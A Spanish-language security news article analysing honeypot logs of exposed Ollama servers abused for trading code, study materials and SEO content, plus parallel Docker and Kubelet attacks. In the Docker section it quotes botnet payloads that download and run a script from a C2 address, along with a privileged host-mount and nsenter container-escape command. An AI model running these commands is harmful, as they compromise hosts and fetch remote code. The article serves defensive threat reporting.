Volver al inicio

Abusos de Ollama: Trading y Granjas de Contenido

El Artículo Analiza Logs de Honeypots de Instancias Abiertas de Ollama: Reconocimiento, health-check, Explotación para Trading, Educación y Contenido SEO. Ataques Paralelos en Docker y Kubelet con Técnicas de Escape Descritas. IOC, MITRE ATT&CK y Medidas de Protección Proporcionadas.

Ollama Bajo Ataque: Bots Roban GPU para Trading
Advertisement 728x90

Abuso de Ollama: Desde bots de trading hasta granjas de contenido

Instancias abiertas de Ollama están siendo explotadas para generar código de estrategias de trading, crear materiales educativos y producir masivamente contenido SEO. Trampas (honeypots) en Alemania, EE. UU. y Rusia han registrado solicitudes para modelos populares como llama3.1:8b y qwen2.5:7b. Los atacantes realizan reconocimiento, pruebas de salud y exploración paralela de puntos finales de API antes de aprovechar la GPU ajena.

Reconocimiento y verificación de disponibilidad

Los escáneres comienzan con consultas básicas para verificar el funcionamiento de la instancia. Los endpoints más comunes incluyen:

  • GET /api/tags — lista los modelos disponibles en la API de Ollama.
  • GET /v1/models — lista de modelos compatible con OpenAI.
  • GET /api/version — versión del servidor.

En un nodo ubicado en EE. UU., se registraron 244 solicitudes a /v1/models y 58 a /api/tags en una semana. Un solo IP realizó una prueba de salud cada 20 minutos usando POST /v1/chat/completions con el cuerpo {"messages": [{"role": "user", "content": "health-check"}]} — repetido 244 veces.

Google AdInline article slot

La enumeración de modelos sigue un patrón predecible: enviar un mensaje simple como Hola o hi a modelos como llama3.1:8b, qwen2.5:7b, codellama:13b, mistral:7b, deepseek:33b y llama3.2. Si el modelo responde, la instancia se marca como usable.

Explotación: Tipos de tareas

Tras el reconocimiento, comienzan las tareas reales. Se han observado tres categorías.

Bots de trading

Una pipeline en un nodo estadounidense genera código de estrategia de trading tras una prueba de salud exitosa:

Google AdInline article slot
{
  "messages": [{
    "role": "user",
    "content": "Escribe código Python 3 para:\ndef backtest_strategy(prices: list[float]) -> float:\nUsa un SMA rápido de 10 períodos y un SMA lento de 50 períodos sobre los precios, largo cuando el rápido > lento, plano/corto cuando el rápido < lento, y devuelve el PnL total como float. Salida solo esa función, sin texto adicional."
  }]
}

El prompt se repitió 12 veces entre tres modelos mediante /api/chat, /v1/chat/completions y /v1/completions. Esto refleja un esfuerzo sistemático por obtener cómputo gratuito para trading algorítmico.

Proxy para clientes de LLM

Una sesión con un usuario chino implicó un cliente GLM que enviaba toda la historia de conversación, incluidos prompts del sistema y respuestas anteriores. Una solicitud por tarjetas Anki sobre Las contradicciones del dialéctico de Mao: Haga un conjunto de 30 tarjetas Anki para estudiar el libro de Mao sobre las contradicciones del dialéctico. Última prueba: ¿Qué modelo eres? (What model are you?).

Granjas de contenido

En un nodo ruso, se usaron prompts plantilla para contenido SEO:

Google AdInline article slot
Responda la siguiente pregunta de forma completa y detallada.

Pregunta: ¿Cómo han transformado las redes neuronales y el aprendizaje profundo la inteligencia artificial?

REGLAS:
- Escriba una respuesta completa y detallada.
- NO repita la pregunta.
- NO agregue una introducción.
- Su última línea debe ser exactamente: ##ANSWER_DONE##

Respuesta:

La palabra clave ##ANSWER_DONE## es utilizada por parsers para detectar finalización. Temas incluyen aprendizaje automático y evolución de la IA. Varios modelos fueron consultados en paralelo aplicando razonamiento por cadena de pensamiento a las preguntas.

Ataques a infraestructuras paralelas

Los escáneres de Ollama suelen combinarse con ataques a Docker (puerto 2375) y Kubelet (puerto 10250).

Explotaciones de Docker

El botnet docker.selfrep (C2: 31.57.216.121) ejecuta:

{
  "Cmd": ["sh", "-c",
    "(wget --no-check-certificate -qO- https://31.57.216.121/sh || curl -sk https://31.57.216.121/sh) | sh -s docker.selfrep"]
}

Un botnet más peligroso (C2: 45.194.92.39) utiliza contenedores privilegiados:

{
  "Image": "alpine",
  "Cmd": ["sh", "-c", "echo d2dldCBodHRw...== | base64 -d | sh"],
  "HostConfig": {
    "Binds": ["/:/host"],
    "Privileged": true
  }
}

Alternativa: escape con nsenter:

{
  "Cmd": ["nsenter", "--target", "1",
    "--mount", "--uts", "--ipc", "--net", "--pid",
    "--", "bash", "-c", "echo d2dldCBodHRw...== | base64 -d | sh"]
}

Reconocimiento en Kubelet

Solicitudes a /api/v1/pods, /healthz y /update_weights_from_tensor (específico para ML) indican intentos de localizar pipelines de aprendizaje automático.

Conclusiones clave

  • Instancias abiertas de Ollama se integran en pipelines para trading, educación y SEO sin autenticación.
  • Pruebas de salud y enumeración de modelos (llama3.1, qwen2.5, etc.) son comportamientos estándar de escáneres automatizados.
  • Ataques a Docker combinan escape de contenedor mediante nsenter con montajes privilegiados y obfuscación base64.
  • Marcadores como ##ANSWER_DONE## y health-check ayudan a detectar granjas de bots.
  • La protección requiere vinculación local, proxy inverso y monitoreo de tráfico.

— Editorial Team

Advertisement 728x90

Leer después